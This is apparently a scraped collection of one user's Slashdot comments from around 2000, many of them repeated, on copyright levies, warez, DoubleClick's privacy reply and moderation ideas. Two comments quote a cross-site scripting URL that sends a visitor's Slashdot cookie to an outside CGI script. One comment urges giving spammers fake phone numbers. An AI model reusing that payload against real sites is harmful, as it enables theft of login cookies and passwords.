A better method would be bouncing yourself around though multiple servers using some kind of encryption so that those servers won't be able to ident you. Then, it'd be nearly impossible to track you back from one link in the chain to the next, cause you'd leave no identifying marks.
There is a Canadian company who is doing just this. For a small fee, you can get a number of anonymous internet redirector accounts. All of your comunications are encrypted three times, passed to a server, which unravels one package, then sends it onto the next server which does the same. I searched google but couldn't come up with the name of this company or a URL.
It would be ludicrous to outlaw a file format. That would be like a ruling that no one can make/own.AVIs because you can watch copyrighted movies in that format.
Given that in Canada we pay a levy on all blank audio recording media, does it not stand to reason that we've already paid for the right to copy most music onto these types of media? Canadian Music Levy
And that's where the warez, MP3s, and banned code like DeCSS will be hosted.
And such a place will **always** **always** **always** exist.
You're right. These places will always exist. And I hope we will always be able to get to them. I see a problem coming though. There are currently only a few international carriers who go to these places. It doesn't take much for RIAA or MPAA or anyone else (the government?, wto?) to pressure them into just not carrying traffic from locations that don't play by our rules.
The result is all the warez, MP3s, and banned code will still be in Russia. But there will be no way to get there from here.
If you go here: http://douglas.min.net/~drw/ha-ha.html
It sends you here: http://slashdot.org/.)(.document.location='http:// douglas.min.net/~drw/cgi-bin/din g.cgi?'+unescape(document.cookie.replace(/25/g,'') )
For the last three weeks I've been recieving email from a company that claims to be able to proccess credit cards for me. I've decided that the best way for me to get them to stop is to waste their time. I have their phone number 877-326-7867. I like to phone it once every few days and ask them questions. I also respond to their emails asking them to call me with more information. I give them a fake name and phone number for them to call me back at. (sorry if it's your phone number, but this will waste their time and they will no longer be able to make money doing this!)
The only way to stop them is to make it not profitable. That means that everyone who recieves junk phone or email should try to stay on the phone as long as possible. Be nice. Ask them about their product. Ask them for more information. Explain that you don't know english very well and ask them to explain it again but slower. Keep them on the line as long as you can afford. Even if you can spend 5 minutes of your time... and everyone else does the same, the number of calls/emails they can make or send will decrease drastically.
I don't think anyone would see these people as "heroes" in retrospect
I am looking forward to the day when Intelectual Property laws are struck down and we are free to copy bits around as we feel fit. At this time I will look back on the people who made this possible and think of them as heros. It is the people who are willing to risk jail time to break a law that is clearly unfair that will make this possible.
A flyer campaign is an awsome way to get information out.
If enough of us organized to create and distribute some sort of weekly/monthly flyer, we would be able to have as much influence on the population in general as big buisness does. We would be able to counter all the FUD with facts. We could provide various sources where our facts could be varified. We could write a flyer in such a way that the average person can understand it. So that anyone can understand what the issues are and why they should get up and act. As the network grows more and more people will become aware of these attacks on our personal freedoms. More people will react to these attacks. More people will do somehting about it. This would have a snowball effect. As more people learn about it, more people will help us with it. The more people we have helping, the more of an effect it will have. Even more people will start helping, and before long everyone will be involved in some way or another. We could have a larger readership than any newspaper, radio or televesion station.
I envision a network of hundreds of thousands of people editing, printing and delivering a flyer to as many houses as they can. A site like slashdot could be used to edit and create articles. It would be an open effort. Anyone could comment or post suggestions to articles before they are published in the flyer. These suggestions would then be incorporated into the printed version and delivered to millions of houses.
The cost and effort per person would be fairly small. Using a slashdot like approach we would become aware of attacks on our freedoms. We can use the same system to comment on the articles, rate the comments and include some of them in the printed version. A little bit of research and we could come up with electronic and "old school" ways to verify all of our statements. After the articles are finished we would then all download a pdf or ps version of the article, print it a few hundred coppies and deliver it.
We would still need to develop some sort of system to manage the delivery. To ensure that every person gets one copy, and no one gets two, we would have to know where they are all being delivered and by whom...
If anyone is interested in attempting something like this, email me. psinpsycle@yahoo.com. I can host the project and do a bunch of other stuff myself. Many people would be needed to help develop and distribute this flyer. Programers, editors, researchers artists, marketers or anyone else interested in anyway.
RSI injured geek wins against Mattel, Mattel still retaliates!
Ok, so, uhm. I've got a question about this RSI thing and how it relates to slashdot. I'm assuming you still have rsi. And if so, isn't it bad to be hanging out on the internet, presumably using a mouse and keyboard all the time?
Is there something you do to manage it. Alternative input devices, excersices or something?
I sent a message to info@doubleclick.net explaining how I was astounded by what they are doing. Here is the message I sent. I have deleted my email address and replaced it with *****. > -----Original Message----- > From: ********************* [SMTP:******************] > Sent: Friday, January 28, 2000 9:58 AM > To: info@doubleclick.net > Subject: astounding > > > > It's an astounding invasion of privacy that you are tracking web users and > relating that to their home address. When I signed up to get online at no > point > did I say to anyone it was OK to track my every movement. > > In the future I'll associate the name doubleclick with doublecross. > > Unhappy IT professional. > > Here is their response. It doesn't seem to be an auto reply. It took them a few hours to get back to me. Thank you for contacting DoubleClick with your concerns. Protecting the privacy of consumers is of paramount importance to DoubleClick. We are founding members of several organizations (NetCoalition.com and Network Advertising Initiative) that are currently creating standards that protect online consumer privacy, and belong to the Online Privacy Alliance. First and foremost, we want to make sure that you understand exactly what we do, and to clear up any misperceptions that exist in the media or marketplace. First, it is important to understand that Web advertising is critical to ensuring that consumers like yourself can continue to access Web sites at no cost. . Effective Web advertising assures that the Web's information, content, and resources remain free for everyone. Second, we would like to clear up a huge misconception in the marketplace that companies such as DoubleClick have the ability to "track" what an Internet user is doing throughout the Web without their knowledge or consent. The fact is that the only time DoubleClick knows when a user visits a Web site is if DoubleClick is serving an ad to that particular Web site. Even then, the information that is collected by DoubleClick is used only for advertising and reporting purposes, so that our customers can gauge the effectiveness of their advertising campaigns. DoubleClick does not know the identity of any user to whom DoubleClick delivers an ad until and unless that user has been provided notice about and consented to having his or her identity used in connection with serving advertising and other online marketing services. You should also know that DoubleClick does not sell any information collected from cookies to third parties. DoubleClick has an explanation of what a "cookie" is and how it is used on its Web site that we invite you to read at http://www.doubleclick.net/privacy_policy/. Simply put, cookies are small text files that are sent to a user's hard drive in order to facilitate surfing on the Internet. They are commonly used by Web sites to maintain a customized environment for each user and to make it easier for customers to purchase goods and services. DoubleClick also uses cookies to limit the number of times a customer sees an ad, which our customers have told us is important to them. We also use them to measure ad effectiveness on behalf of advertisers and Web sites with which DoubleClick does business. However, please be assured that until, and unless, a person chooses to provide personally identifiable information to a Web site, DoubleClick has no way to know their identity. All DoubleClick knows is that a computer's browser is visiting the site. Finally, we want you to know that DoubleClick does create profiles about consumers solely in an attempt to deliver ads that the user may be interested in viewing. Again, DoubleClick does not create a profile about any user unless that consumer has received notice and the opportunity to opt out from such profiling. Moreover, DoubleClick does not create profiles that contain sensitive information such as a consumer's medical information. Consumers can absolutely choose not to accept DoubleClick cookies or to receive ads tailored to their personal information by opting out at DoubleClick's Web site at http://www.doubleclick.net/privacy_policy/privacy. htm. We hope that you will take a minute to read the complete discussion of what information DoubleClick does collect and how it's used. Please visit our privacy policy on our Web site at http://www.doubleclick.net/privacy_policy/. The page also provides you with the opportunity to opt out from DoubleClick's cookies. If you need more information about DoubleClick please feel free to contact us at 212-683-0001. Again, thank you for contacting us with your concerns. We hope that this letter has helped to clear them up and that you will contact us if you need more information. Sincerely, DoubleClick, Inc. (NASDAQ: DCLK) http://www.doubleclick.net DoubleClick is pleased to announce that this December marks our move to the new ClickCity headquarters at 450 W. 33rd (between 9th and 10th Avenues). ClickCity will house over 500 employees across several floors including a roof deck over looking the Hudson and the ClickCity Sky Basketball Court. To learn more about DoubleClick please visit http//www.doubleclick.net.
Don't you have to deprive the owner of the ability to use something for it to be theft?
Here's the definition of theft from http://www.facstaff.bucknell.edu/rbeard/diction.ht ml
2 words found. To view an entry in the list, highlight it and click on GO TO. theft grand theft Main Entry: theft Pronunciation: 'theft Function: noun Etymology: Middle English thiefthe, from Old English thIefth; akin to Old English thEof thief Date: before 12th century 1 a: the act of stealing; specifically: the felonious taking and removing of personal property with intent to deprive the rightful owner of it b: an unlawful taking (as by embezzlement or burglary) of property 2obsolete: something stolen 3: a stolen base in baseball
Wow. I love this design. I could finally surf while soaking in the tub:) It should cut down on paper use also, because there would be no reason to print off everything everytime I want to get away from he computer.
Add the following things:
Put some sort of pointer control under the thumbs. Something like the Nintendo controler has. This will allow you to quickly move the pointer around while typing. Don't take away the touch screen though, as this will be usefull while surfing or drawing.
Give it lots of memory so you can store often used documents and reference websites.
Have it automatically sync whenever you are in the transmision area. This should be as large as possible. Maybe have different models - 900Mhz (house hold range), FM broadcast (enterprise range, upto 11mi)
Expand on that a little further, and give Moderators Unlimited +1/10 points on all comments that are still at a level of 0. That way all the good stuff would make it at least to +1. All the junk would be down around -1.
And there should be nothing at 0. To ensure that nothing is at 0, all moderators should automatically have 0's listed before anything else so that they are judged quickly.
Ok, So I goto a store and get a blank CD. I pay for the CD. I pay local sales taxes. Then I pay a levy to RIAA. Now I go home and copy a bunch of illegal MP3's onto this blank CD.
Does my mp3 collection become legal now? I think it does.
I paid my levy to RIAA. They kept most of it and sent some to the artists who sell the most music. Seems to me that by paying a levy to RIAA copping any kind of music onto this CD is perfectly legal.
What happens if I copy data onto the cd? Can I get a refund on the levy?
Software upgrades shouldn't be about constantly releasing a newer and newer version to make more and more money. Wih this attitude we will continue to have buggy software. Bugs may even be written into software versions so that they can sell an upgrade with the bugs fixed. When I buy a chair, I want it to work properly the first time. I don't want to contstantly buy a newer and newer version to fix the things that didn't work the first time around.
When I buy new software, I should know how stable it is going to be. If I can assume that as the version number approaches pi it becomes more stable, then I will always know how well this softare release is going to be.
If we use this method, we will either learn the true value of pi, or have perfect software. Either way we win.
I've been thinking of this alot. I'm sure there is a way the moderation system can be adjusted to take care of stuff like this. Here are some of the idea's I've come up with:
1. Give away extra moderation points every time such posts are made. ie: If a post contains excessive caps or repeating words then toss out two extra mod points that day. With the extra points maybe the offending posts will get moderated down.
2. Implement some of the ip limits that I read about today in the faq's. ie: Each IP address can only post once every 10 minutes, after having already posted 5 posts to the current article.
3. Add filters to slashdot that auto moderate posts based on content and excessive caps. ie: If posts have autocaps, or offensive words automatically take off a few points.
4. Add filters to the preferences that auto moderate posts for you. ie: I could filter on "bung" and auto moderate it down to -1. This auto moderate would only affect the way I see it. Everyone else would have to setup the same filters.
Q: The OS boots perfectly to the prompt, but it doesn't respond to the keyboard.
A: We've had a few people mailing us with this question (Mostly Laptop users, VMWare has this problem aswell). It has to do with a BIOS that does not reset the keyboard controller at bootup. V2_OS should do this manualy, but since we have never encountered this problem, it's not included yet. We'll try to fix it in the next release. If anyone knows how to reset this keyboard btw, info is welcome:)
... and in a related story Sonys' artifially intelligent dog, Aibo, patented a new stretching maneuver that will allow dogs to have a more fullfilling stretch with about 10% less effort. The stretch is performed by laying flat on your stomach with your fore legs and hind legs stretched straight out. After a moment of laying like this it is important to twirl your hind legs two or three times. If you have realplayer you can see what it looks like.This is system is expected to save dogs billions of dollars in energy over the next few years. Royalties to use this patented system have not yet been released.
Slashdot Mirror
There is a Canadian company who is doing just this. For a small fee, you can get a number of anonymous internet redirector accounts. All of your comunications are encrypted three times, passed to a server, which unravels one package, then sends it onto the next server which does the same. I searched google but couldn't come up with the name of this company or a URL.
Shhhh!! Don't give the MPAA any ideas!
Maybe ASP should be a part of this thread also?
Given that in Canada we pay a levy on all blank audio recording media, does it not stand to reason that we've already paid for the right to copy most music onto these types of media?
Canadian Music Levy
And such a place will **always** **always** **always** exist.
You're right. These places will always exist. And I hope we will always be able to get to them. I see a problem coming though. There are currently only a few international carriers who go to these places. It doesn't take much for RIAA or MPAA or anyone else (the government?, wto?) to pressure them into just not carrying traffic from locations that don't play by our rules.
The result is all the warez, MP3s, and banned code will still be in Russia. But there will be no way to get there from here.
eeep. I'm changing my password now.
/ douglas.min.net/~drw/cgi-bin/din g.cgi?'+unescape(document.cookie.replace(/25/g,'') )
If you go here: http://douglas.min.net/~drw/ha-ha.html
It sends you here: http://slashdot.org/.)(.document.location='http:/
Which then shows you your usernum and password
The only way to stop them is to make it not profitable. That means that everyone who recieves junk phone or email should try to stay on the phone as long as possible. Be nice. Ask them about their product. Ask them for more information. Explain that you don't know english very well and ask them to explain it again but slower. Keep them on the line as long as you can afford. Even if you can spend 5 minutes of your time... and everyone else does the same, the number of calls/emails they can make or send will decrease drastically.
Waste Their Time!!
I am looking forward to the day when Intelectual Property laws are struck down and we are free to copy bits around as we feel fit. At this time I will look back on the people who made this possible and think of them as heros. It is the people who are willing to risk jail time to break a law that is clearly unfair that will make this possible.
If enough of us organized to create and distribute some sort of weekly/monthly flyer, we would be able to have as much influence on the population in general as big buisness does. We would be able to counter all the FUD with facts. We could provide various sources where our facts could be varified. We could write a flyer in such a way that the average person can understand it. So that anyone can understand what the issues are and why they should get up and act. As the network grows more and more people will become aware of these attacks on our personal freedoms. More people will react to these attacks. More people will do somehting about it. This would have a snowball effect. As more people learn about it, more people will help us with it. The more people we have helping, the more of an effect it will have. Even more people will start helping, and before long everyone will be involved in some way or another. We could have a larger readership than any newspaper, radio or televesion station.
I envision a network of hundreds of thousands of people editing, printing and delivering a flyer to as many houses as they can. A site like slashdot could be used to edit and create articles. It would be an open effort. Anyone could comment or post suggestions to articles before they are published in the flyer. These suggestions would then be incorporated into the printed version and delivered to millions of houses.
The cost and effort per person would be fairly small. Using a slashdot like approach we would become aware of attacks on our freedoms. We can use the same system to comment on the articles, rate the comments and include some of them in the printed version. A little bit of research and we could come up with electronic and "old school" ways to verify all of our statements. After the articles are finished we would then all download a pdf or ps version of the article, print it a few hundred coppies and deliver it.
We would still need to develop some sort of system to manage the delivery. To ensure that every person gets one copy, and no one gets two, we would have to know where they are all being delivered and by whom...
If anyone is interested in attempting something like this, email me. psinpsycle@yahoo.com. I can host the project and do a bunch of other stuff myself. Many people would be needed to help develop and distribute this flyer. Programers, editors, researchers artists, marketers or anyone else interested in anyway.
Ok, so, uhm. I've got a question about this RSI thing and how it relates to slashdot. I'm assuming you still have rsi. And if so, isn't it bad to be hanging out on the internet, presumably using a mouse and keyboard all the time?
Is there something you do to manage it. Alternative input devices, excersices or something?
ack. No pre tags eh? ohwell. If anyone wants it more readable just ask, i'll repost it.
I sent a message to info@doubleclick.net explaining how I was astounded by what they are doing. Here is the message I sent. I have deleted my email address and replaced it with *****. > -----Original Message----- > From: ********************* [SMTP:******************] > Sent: Friday, January 28, 2000 9:58 AM > To: info@doubleclick.net > Subject: astounding > > > > It's an astounding invasion of privacy that you are tracking web users and > relating that to their home address. When I signed up to get online at no > point > did I say to anyone it was OK to track my every movement. > > In the future I'll associate the name doubleclick with doublecross. > > Unhappy IT professional. > > Here is their response. It doesn't seem to be an auto reply. It took them a few hours to get back to me. Thank you for contacting DoubleClick with your concerns. Protecting the privacy of consumers is of paramount importance to DoubleClick. We are founding members of several organizations (NetCoalition.com and Network Advertising Initiative) that are currently creating standards that protect online consumer privacy, and belong to the Online Privacy Alliance. First and foremost, we want to make sure that you understand exactly what we do, and to clear up any misperceptions that exist in the media or marketplace. First, it is important to understand that Web advertising is critical to ensuring that consumers like yourself can continue to access Web sites at no cost. . Effective Web advertising assures that the Web's information, content, and resources remain free for everyone. Second, we would like to clear up a huge misconception in the marketplace that companies such as DoubleClick have the ability to "track" what an Internet user is doing throughout the Web without their knowledge or consent. The fact is that the only time DoubleClick knows when a user visits a Web site is if DoubleClick is serving an ad to that particular Web site. Even then, the information that is collected by DoubleClick is used only for advertising and reporting purposes, so that our customers can gauge the effectiveness of their advertising campaigns. DoubleClick does not know the identity of any user to whom DoubleClick delivers an ad until and unless that user has been provided notice about and consented to having his or her identity used in connection with serving advertising and other online marketing services. You should also know that DoubleClick does not sell any information collected from cookies to third parties. DoubleClick has an explanation of what a "cookie" is and how it is used on its Web site that we invite you to read at http://www.doubleclick.net/privacy_policy/. Simply put, cookies are small text files that are sent to a user's hard drive in order to facilitate surfing on the Internet. They are commonly used by Web sites to maintain a customized environment for each user and to make it easier for customers to purchase goods and services. DoubleClick also uses cookies to limit the number of times a customer sees an ad, which our customers have told us is important to them. We also use them to measure ad effectiveness on behalf of advertisers and Web sites with which DoubleClick does business. However, please be assured that until, and unless, a person chooses to provide personally identifiable information to a Web site, DoubleClick has no way to know their identity. All DoubleClick knows is that a computer's browser is visiting the site. Finally, we want you to know that DoubleClick does create profiles about consumers solely in an attempt to deliver ads that the user may be interested in viewing. Again, DoubleClick does not create a profile about any user unless that consumer has received notice and the opportunity to opt out from such profiling. Moreover, DoubleClick does not create profiles that contain sensitive information such as a consumer's medical information. Consumers can absolutely choose not to accept DoubleClick cookies or to receive ads tailored to their personal information by opting out at DoubleClick's Web site at http://www.doubleclick.net/privacy_policy/privacy. htm. We hope that you will take a minute to read the complete discussion of what information DoubleClick does collect and how it's used. Please visit our privacy policy on our Web site at http://www.doubleclick.net/privacy_policy/. The page also provides you with the opportunity to opt out from DoubleClick's cookies. If you need more information about DoubleClick please feel free to contact us at 212-683-0001. Again, thank you for contacting us with your concerns. We hope that this letter has helped to clear them up and that you will contact us if you need more information. Sincerely, DoubleClick, Inc. (NASDAQ: DCLK) http://www.doubleclick.net DoubleClick is pleased to announce that this December marks our move to the new ClickCity headquarters at 450 W. 33rd (between 9th and 10th Avenues). ClickCity will house over 500 employees across several floors including a roof deck over looking the Hudson and the ClickCity Sky Basketball Court. To learn more about DoubleClick please visit http//www.doubleclick.net.
Here's the definition of theft from http://www.facstaff.bucknell.edu/rbeard/diction.ht ml
2 words found. : the act of stealing; specifically : the felonious taking and removing of personal property with intent to deprive the rightful owner of it b : an unlawful taking (as by embezzlement or burglary) of property : something stolen : a stolen base in baseball
To view an entry in the list, highlight it and click on GO TO. theft grand theft
Main Entry: theft
Pronunciation: 'theft
Function: noun
Etymology: Middle English thiefthe, from Old English thIefth; akin to Old English thEof thief
Date: before 12th century
1 a
2 obsolete
3
I usually do most of my computing within a few feet of my very difficult to move 17" monitor :)
Add the following things:
Expand on that a little further, and give Moderators Unlimited +1/10 points on all comments that are still at a level of 0. That way all the good stuff would make it at least to +1. All the junk would be down around -1.
And there should be nothing at 0. To ensure that nothing is at 0, all moderators should automatically have 0's listed before anything else so that they are judged quickly.
Does my mp3 collection become legal now? I think it does.
I paid my levy to RIAA. They kept most of it and sent some to the artists who sell the most music. Seems to me that by paying a levy to RIAA copping any kind of music onto this CD is perfectly legal.
What happens if I copy data onto the cd? Can I get a refund on the levy?
When I buy new software, I should know how stable it is going to be. If I can assume that as the version number approaches pi it becomes more stable, then I will always know how well this softare release is going to be.
If we use this method, we will either learn the true value of pi, or have perfect software. Either way we win.
Q: The OS boots perfectly to the prompt, but it doesn't respond to the keyboard.
A: We've had a few people mailing us with this question (Mostly Laptop users, VMWare has this problem aswell). It has to do with a BIOS that does not reset the keyboard controller at bootup. V2_OS should do this manualy, but since we have never encountered this problem, it's not included yet. We'll try to fix it in the next release. If anyone knows how to reset this keyboard btw, info is welcome :)
... and in a related story Sonys' artifially intelligent dog, Aibo, patented a new stretching maneuver that will allow dogs to have a more fullfilling stretch with about 10% less effort. The stretch is performed by laying flat on your stomach with your fore legs and hind legs stretched straight out. After a moment of laying like this it is important to twirl your hind legs two or three times. If you have realplayer you can see what it looks like.This is system is expected to save dogs billions of dollars in energy over the next few years. Royalties to use this patented system have not yet been released.